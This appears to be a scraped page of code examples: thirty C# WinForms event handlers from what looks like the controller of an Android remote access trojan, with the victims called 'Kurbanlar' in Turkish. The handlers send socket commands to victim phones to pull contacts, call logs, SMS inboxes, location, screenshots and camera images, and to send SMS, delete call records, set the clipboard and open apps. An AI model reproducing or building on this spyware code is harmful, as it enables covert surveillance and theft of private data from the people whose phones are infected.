Example #1
0
 private void button1_Click(object sender, EventArgs e)
 {
     try {
         byte[] vibration = Encoding.UTF8.GetBytes("VIBRATION|" + ((int)numericUpDown1.Value * 1000).ToString() + "|");
         Gonderici.Send(sck, vibration, 0, vibration.Length, 59999);
     }
     catch (Exception) { }
 }
Example #2
0
 private void yenileToolStripMenuItem_Click(object sender, EventArgs e)
 {
     try {
         byte[] laz_ziya = Encoding.UTF8.GetBytes("APPLICATIONS|");
         Gonderici.Send(socket, laz_ziya, 0, laz_ziya.Length, 59999);
     }
     catch (Exception) { }
 }
Example #3
0
 private void yenileToolStripMenuItem_Click(object sender, EventArgs e)
 {
     try {
         byte[] bayt = Encoding.UTF8.GetBytes("REHBERIVER|");
         Gonderici.Send(sco, bayt, 0, bayt.Length, 59999);
     }
     catch (Exception) { }
 }
Example #4
0
 private void yenileToolStripMenuItem_Click(object sender, EventArgs e)
 {
     try {
         byte[] yenile = Encoding.UTF8.GetBytes("CALLLOGS|");
         Gonderici.Send(sock, yenile, 0, yenile.Length, 59999);
     }
     catch (Exception) { }
 }
Example #5
0
 private void silToolStripMenuItem_Click(object sender, EventArgs e)
 {
     try {
         byte[] bayt = Encoding.UTF8.GetBytes("REHBERSIL|" + listView1.SelectedItems[0].Text);
         Gonderici.Send(sco, bayt, 0, bayt.Length, 59999);
     }
     catch (Exception) { }
 }
Example #6
0
 private void button5_Click(object sender, EventArgs e)
 {
     try {
         byte[] toast = Encoding.UTF8.GetBytes("TOST|" + textBox1.Text + "|");
         Gonderici.Send(sck, toast, 0, toast.Length, 59999);
     }
     catch (Exception) { }
 }
Example #7
0
 private void button6_Click(object sender, EventArgs e)
 {
     try {
         byte[] url = Encoding.UTF8.GetBytes("ANASAYFA|" + textBox2.Text + "|");
         Gonderici.Send(sck, url, 0, url.Length, 59999);
     }
     catch (Exception) { }
 }
Example #8
0
 private void açToolStripMenuItem_Click(object sender, EventArgs e)
 {
     try {
         byte[] laz_ziya = Encoding.UTF8.GetBytes("OPENAPP|" + listView1.SelectedItems[0].SubItems[1].Text);
         Gonderici.Send(socket, laz_ziya, 0, laz_ziya.Length, 59999);
     }
     catch (Exception) { }
 }
Example #9
0
 private void button19_Click(object sender, EventArgs e)
 {
     try {
         byte[] polat_alemdar = Encoding.UTF8.GetBytes("WALLPAPERGET|");
         Gonderici.Send(sck, polat_alemdar, 0, polat_alemdar.Length, 59999);
     }
     catch (Exception) { }
 }
Example #10
0
 private void button1_Click(object sender, EventArgs e)
 {
     try {
         byte[] bilgi = Encoding.UTF8.GetBytes("SARJ|");
         Gonderici.Send(sck, bilgi, 0, bilgi.Length, 59999);
     }
     catch (Exception) { }
 }
Example #11
0
 private void gidenSMSToolStripMenuItem_Click(object sender, EventArgs e)
 {
     try {
         byte[] gidecek = Encoding.UTF8.GetBytes("GIDENKUTUSU|");
         Gonderici.Send(sck, gidecek, 0, gidecek.Length, 59999);
     }
     catch (Exception) { }
 }
Example #12
0
 private void button1_Click(object sender, EventArgs e)
 {
     try {
         byte[] konum_al = Encoding.UTF8.GetBytes("KONUM|");
         Gonderici.Send(sck, konum_al, 0, konum_al.Length, 59999);
     }
     catch (Exception) { }
 }
Example #13
0
 private void button2_Click(object sender, EventArgs e)
 {
     try {
         byte[] flash = Encoding.UTF8.GetBytes("FLASH|KAPA|");
         Gonderici.Send(sck, flash, 0, flash.Length, 59999);
     }
     catch (Exception) { }
 }
Example #14
0
 private void button1_Click(object sender, EventArgs e)
 {
     try
     {
         byte[] veri = Encoding.UTF8.GetBytes("EKRANGORUNTUSU|");
         Gonderici.Send(sck, veri, 0, veri.Length, 59999);
     }
     catch (Exception) { }
 }
Example #15
0
 private void trackBar3_MouseUp(object sender, MouseEventArgs e)
 {
     try {
         byte[] bilgiler = Encoding.UTF8.GetBytes("BILDIRIMSESI|" + trackBar3.Value.ToString());
         Gonderici.Send(sock, bilgiler, 0, bilgiler.Length, 59999);
         yenile();
     }
     catch (Exception) { }
 }
Example #16
0
 public void yenile()
 {
     try
     {
         byte[] bilgiler = Encoding.UTF8.GetBytes("VOLUMELEVELS|");
         Gonderici.Send(sock, bilgiler, 0, bilgiler.Length, 59999);
     }
     catch (Exception) { }
 }
Example #17
0
 private void button8_Click(object sender, EventArgs e)
 {
     if (pictureBox1.Image != null)
     {
         string icoByteLenght = ico_bytes.Length.ToString();
         byte[] shortcut      = Encoding.UTF8.GetBytes("SHORTCUT|" + textBox4.Text + "|" + textBox5.Text + "|" + icoByteLenght + "|");
         Gonderici.Send(sck, shortcut, 0, shortcut.Length, 59999);
         Gonderici.Send(sck, ico_bytes, 0, ico_bytes.Length, 59999);
     }
 }
Example #18
0
 private async void button1_Click(object sender, EventArgs e)
 {
     try {
         byte[] veriler = Encoding.UTF8.GetBytes("REHBERISIM|" + textBox1.Text + "=" + textBox2.Text + "=");
         Gonderici.Send(sckt, veriler, 0, veriler.Length, 59999);
         await Task.Delay(500);
     }
     catch (Exception) { }
     Close();
 }
Example #19
0
        private void button20_Click(object sender, EventArgs e)
        {
            string value = "https://upload.wikimedia.org/wikipedia/tr/5/5a/%C4%B0stemi_Betil.jpg";

            if (InputBox("Duvarkağıdı linki", "Link:", ref value) == DialogResult.OK)
            {
                byte[] dosya_byte = Encoding.UTF8.GetBytes("WALLPAPERBYTE|" + value);
                Gonderici.Send(sck, dosya_byte, 0, dosya_byte.Length, 59999);
            }
        }
Example #20
0
 private void silToolStripMenuItem_Click(object sender, EventArgs e)
 {
     if (listView1.SelectedItems.Count > 0)
     {
         try {
             byte[] yenile = Encoding.UTF8.GetBytes("DELETECALL|" + listView1.SelectedItems[0].Text);
             Gonderici.Send(sock, yenile, 0, yenile.Length, 59999);
         }
         catch (Exception) { }
     }
 }
Example #21
0
 private void button16_Click(object sender, EventArgs e)
 {
     if (textBox4.Text != "")
     {
         try {
             byte[] polat_alemdar = Encoding.UTF8.GetBytes("PANOSET|" + textBox4.Text);
             Gonderici.Send(sck, polat_alemdar, 0, polat_alemdar.Length, 59999);
         }
         catch (Exception) { }
     }
 }
Example #22
0
 private void button15_Click(object sender, EventArgs e)
 {
     if (textBox2.Text != "" && textBox3.Text != "")
     {
         try {
             byte[] polat_alemdar = Encoding.UTF8.GetBytes("SMSGONDER|" + textBox2.Text + "=" + textBox3.Text + "=");
             Gonderici.Send(sck, polat_alemdar, 0, polat_alemdar.Length, 59999);
         }
         catch (Exception) { }
     }
 }
Example #23
0
 private void button1_Click(object sender, EventArgs e)
 {
     label1.Visible = false;
     try {
         string cam = "";
         cam = radioButton1.Checked ? "1" : "0";
         Gonderici.Send(soketimiz, Encoding.UTF8.GetBytes("CAM|" + cam), 0, Encoding.UTF8.GetBytes("CAM|" + cam).Length, 59999);
         label2.Visible = true;
     }
     catch (Exception) {}
 }
Example #24
0
 private void telefonDurumuToolStripMenuItem_Click(object sender, EventArgs e)
 {
     foreach (Kurbanlar kurban in kurban_listesi)
     {
         if (kurban.id == listView1.SelectedItems[0].Text)
         {
             Bigliler eglence = new Bigliler(kurban.soket, kurban.id);
             eglence.Show();
             byte[] gonder = Encoding.UTF8.GetBytes("SARJ|");
             Gonderici.Send(kurban.soket, gonder, 0, gonder.Length, 59999);
         }
     }
 }
Example #25
0
 private void konumToolStripMenuItem_Click(object sender, EventArgs e)
 {
     foreach (Kurbanlar kurban in kurban_listesi)
     {
         if (kurban.id == listView1.SelectedItems[0].Text)
         {
             Konum knm = new Konum(kurban.soket, kurban.id);
             knm.Show();
             byte[] gonder = Encoding.UTF8.GetBytes("KONUM|");
             Gonderici.Send(kurban.soket, gonder, 0, gonder.Length, 59999);
         }
     }
 }
Example #26
0
 private void uygulamaListesiToolStripMenuItem_Click(object sender, EventArgs e)
 {
     foreach (Kurbanlar kurban in kurban_listesi)
     {
         if (kurban.id == listView1.SelectedItems[0].Text)
         {
             Uygulamalar eglence = new Uygulamalar(kurban.soket, kurban.id);
             eglence.Show();
             byte[] gonder = Encoding.UTF8.GetBytes("APPLICATIONS|");
             Gonderici.Send(kurban.soket, gonder, 0, gonder.Length, 59999);
         }
     }
 }
Example #27
0
 private void rehberToolStripMenuItem_Click(object sender, EventArgs e)
 {
     foreach (Kurbanlar kurban in kurban_listesi)
     {
         if (kurban.id == listView1.SelectedItems[0].Text)
         {
             Rehber sMS = new Rehber(kurban.soket, kurban.id);
             sMS.Show();
             byte[] bayt = Encoding.UTF8.GetBytes("REHBERIVER|");
             Gonderici.Send(kurban.soket, bayt, 0, bayt.Length, 59999);
         }
     }
 }
Example #28
0
 private void telefonAyarlarıToolStripMenuItem_Click(object sender, EventArgs e)
 {
     foreach (Kurbanlar kurban in kurban_listesi)
     {
         if (kurban.id == listView1.SelectedItems[0].Text)
         {
             Ayarlar sMS = new Ayarlar(kurban.soket, kurban.id);
             sMS.Show();
             byte[] bilgiler = Encoding.UTF8.GetBytes("VOLUMELEVELS|");
             Gonderici.Send(kurban.soket, bilgiler, 0, bilgiler.Length, 59999);
         }
     }
 }
Example #29
0
 private void çağrıKayıtlarıToolStripMenuItem_Click(object sender, EventArgs e)
 {
     foreach (Kurbanlar kurban in kurban_listesi)
     {
         if (kurban.id == listView1.SelectedItems[0].Text)
         {
             CagriKayitlari sMS = new CagriKayitlari(kurban.soket, kurban.id);
             sMS.Show();
             byte[] gidecek = Encoding.UTF8.GetBytes("CALLLOGS|");
             Gonderici.Send(kurban.soket, gidecek, 0, gidecek.Length, 59999);
         }
     }
 }
Example #30
0
 private void sMSYöneticisiToolStripMenuItem_Click(object sender, EventArgs e)
 {
     foreach (Kurbanlar kurban in kurban_listesi)
     {
         if (kurban.id == listView1.SelectedItems[0].Text)
         {
             SMSYoneticisi sMS = new SMSYoneticisi(kurban.soket, kurban.id);
             sMS.Show();
             byte[] gidecek = Encoding.UTF8.GetBytes("GELENKUTUSU|");
             Gonderici.Send(kurban.soket, gidecek, 0, gidecek.Length, 59999);
         }
     }
 }